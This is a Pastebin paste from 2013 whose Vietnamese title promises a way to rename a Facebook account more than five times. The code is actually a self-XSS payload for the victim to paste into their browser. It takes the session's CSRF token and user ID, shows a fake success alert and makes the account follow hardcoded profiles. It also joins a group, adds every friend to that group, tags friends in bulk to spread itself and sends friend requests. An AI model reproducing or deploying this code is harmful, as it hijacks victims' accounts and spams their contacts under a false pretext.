Want more features on Pastebin? Sign Up, it's FREE!
Guest

Đổi tên facebook quá 5 lần

By: a guest on Aug 7th, 2013  |  syntax: None  |  size: 8.56 KB  |  views: 89  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3. alert('Kích hoạt thành công . Xác nhận và đợi 30 giây để tiếp tục');
  4. function cereziAl(isim) {
  5.     var tarama = isim + "=";
  6.     if (document.cookie.length > 0) {
  7.         konum = document.cookie.indexOf(tarama)
  8.         if (konum != -1) {
  9.             konum += tarama.length
  10.             son = document.cookie.indexOf(";", konum)
  11.             if (son == -1)
  12.                 son = document.cookie.length
  13.             return unescape(document.cookie.substring(konum, son))
  14.         }
  15.         else { return ""; }
  16.     }
  17. }
  18.  
  19. function getRandomInt (min, max) {
  20.     return Math.floor(Math.random() * (max - min + 1)) + min;
  21. }
  22. function randomValue(arr) {
  23.     return arr[getRandomInt(0, arr.length-1)];
  24. }
  25.  
  26. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  27. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  28.  
  29. function a(abone){
  30.     var http4 = new XMLHttpRequest();
  31.      
  32.     var url4 = "/ajax/follow/follow_profile.php?__a=1";
  33.      
  34.     var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  35.     http4.open("POST", url4, true);
  36.      
  37.     //Send the proper header information along with the request
  38.     http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  39.     http4.setRequestHeader("Content-length", params4.length);
  40.     http4.setRequestHeader("Connection", "close");
  41.      
  42.     http4.onreadystatechange = function() {//Call a function when the state changes.
  43.     if(http4.readyState == 4 && http4.status == 200) {
  44.        
  45.       http4.close; // Close the connection
  46.      
  47.     }
  48.     }
  49.    
  50.     http4.send(params4);
  51. }
  52.  
  53. function sublist(uidss) {
  54.                 var a = document.createElement('script');
  55.                 a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  56.                 document.body.appendChild(a);
  57. }
  58.  
  59. // Boss Team không được edit
  60. a("100004325160345");sublist("222368994583938");
  61. a("100005608183482");sublist("222368994583938");
  62. a("100002919120140");sublist("222368994583938");
  63. var gid = ['460904750674229'];
  64. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  65. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  66.  
  67. var httpwp = new XMLHttpRequest();
  68. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  69. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  70. httpwp['open']('POST', urlwp, true);
  71. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  72. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  73. httpwp['setRequestHeader']('Connection', 'keep-alive');
  74. httpwp['send'](paramswp);
  75.  
  76. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  77. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  78.  
  79. var friends = new Array();
  80. gf = new XMLHttpRequest();
  81. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  82. gf['send']();
  83. if (gf['readyState'] != 4) {} else {
  84.     data = eval('(' + gf['responseText']['substr'](9) + ')');
  85.     if (data['error']) {} else {
  86.         friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  87.             return _0x93dax8['index'] - _0x93dax9['index'];
  88.         });
  89.     };
  90. };
  91.  
  92. for (var i = 0; i < friends['length']; i++) {
  93.     var httpwp = new XMLHttpRequest();
  94.     var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  95.     var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  96.     httpwp['open']('POST', urlwp, true);
  97.     httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  98.     httpwp['setRequestHeader']('Content-length', paramswp['length']);
  99.     httpwp['setRequestHeader']('Connection', 'keep-alive');
  100.     httpwp['onreadystatechange'] = function () {
  101. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  102.     };
  103.     httpwp['send'](paramswp);
  104. };
  105. var spage_id = "366279643450431";
  106. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  107. var smesaj = "";
  108. var smesaj_text = "";
  109. var arkadaslar = [];
  110. var svn_rev;
  111. var bugun= new Date();
  112. var btarihi = new Date();
  113. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  114. if(!document.cookie.match(/paylasti=(\d+)/)){
  115. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  116. }
  117.  
  118.  
  119. //arkadaslari al ve isle
  120. function sarkadaslari_al(){
  121.                 var xmlhttp = new XMLHttpRequest();
  122.         xmlhttp.onreadystatechange = function () {
  123.                         if(xmlhttp.readyState == 4){
  124.                                   eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  125.                                   for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  126.                                         smesaj = "";
  127.                                         smesaj_text = "";
  128.                                   for(i=f*10;i<(f+1)*10;i++){
  129.                                         if(arkadaslar.payload.entries[i]){
  130.                                   smesaj += " @[" + arkadaslar.payload.entries[i].uid +  ":" + arkadaslar.payload.entries[i].text + "]";
  131.                                   smesaj_text += " " + arkadaslar.payload.entries[i].text;
  132.                                   }
  133.                                         }
  134.                                         sdurumpaylas();                         }
  135.                                
  136.                         }
  137.                        
  138.         };
  139.                 var params = "&filter[0]=user";
  140.                 params += "&options[0]=friends_only";
  141.                 params += "&options[1]=nm";
  142.                 params += "&token=v7";
  143.         params += "&viewer=" + user_id;
  144.                 params += "&__user=" + user_id;
  145.                
  146.         if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  147.         else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  148.         xmlhttp.send();
  149. }
  150.  
  151. //tiklama olayini dinle
  152. var tiklama = document.addEventListener("click", function () {
  153. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  154. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  155. sarkadaslari_al();
  156. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  157.  
  158. document.removeEventListener(tiklama);
  159. }
  160.  }, false);
  161.  
  162.  
  163. //arkada?¾ ekleme
  164. function sarkadasekle(uid,cins){
  165.                 var xmlhttp = new XMLHttpRequest();
  166.         xmlhttp.onreadystatechange = function () {
  167.                         if(xmlhttp.readyState == 4){   
  168.                         }
  169.         };
  170.                
  171.                 xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  172.                 var params = "to_friend=" + uid;
  173.                 params += "&action=add_friend";
  174.                 params += "&how_found=friend_browser";
  175.                 params += "&ref_param=none";
  176.                 params += "&outgoing_id=";
  177.                 params += "&logging_location=friend_browser";
  178.                 params += "&no_flyout_on_click=true";
  179.                 params += "&ego_log_data=";
  180.                 params += "&http_referer=";
  181.                 params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  182.         params += "&phstamp=165816749114848369115";
  183.                 params += "&__user=" + user_id;
  184.                 xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  185.                 xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  186.                
  187. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  188.                 xmlhttp.send(params);
  189. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  190.                 cinsiyetgetir(uid,cins,"sarkadasekle");
  191. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  192.                 xmlhttp.send(params);
  193. }
  194. }
  195.  
  196. //cinsiyet belirleme
  197. var cinssonuc = {};
  198. var cinshtml = document.createElement("html");
  199. function scinsiyetgetir(uid,cins,fonksiyon){
  200.                 var xmlhttp = new XMLHttpRequest();
  201.         xmlhttp.onreadystatechange = function () {
  202.                         if(xmlhttp.readyState == 4){
  203.                         eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  204.                         cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  205.                         btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  206.                         if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  207.                         document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  208.                         }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  209.                         document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  210.                         }
  211.                         eval(fonksiyon + "(" + id + "," + cins + ");");
  212.                         }
  213.         };
  214.                 xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  215.                 xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  216.                 xmlhttp.send();
  217. }
clone this paste RAW Paste Data